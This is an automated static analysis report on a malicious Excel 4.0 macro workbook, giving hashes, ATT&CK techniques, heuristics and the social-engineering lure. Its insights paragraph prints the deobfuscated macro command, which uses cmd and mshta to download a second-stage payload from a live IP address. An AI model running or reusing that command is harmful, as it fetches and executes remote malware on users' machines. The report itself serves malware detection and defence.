Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 c3098005faa23973…

MALICIOUS

Office (OLE) / .XLSX

64.9 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: 49d497679df266ec6d91cd56418ac839 SHA-1: 237d3d9f70b00ae009e2aaa867dc9da81c72f8f3 SHA-256: c3098005faa23973cedc16ee25aaff04634d6b211d93c4e21c56103be71bf63e
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample contains Excel 4.0 (XLM) macros, specifically an Auto_Open macro, which is a strong indicator of malicious intent. The document body explicitly instructs the user to "Enable Editing" and "Enable Content" to view the content, a common social engineering tactic. The extracted macro reveals a command that reconstructs to "cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/oo.html", indicating that the macro is designed to download a second-stage payload from the specified URL. The presence of the Auto_Open macro and the explicit user-luring text strongly support this attack pattern.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
5b6a229f32f262b2c382f3c832a9f8a5e27f96ac7637e45dc67edc9bb251f152
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1514 bytes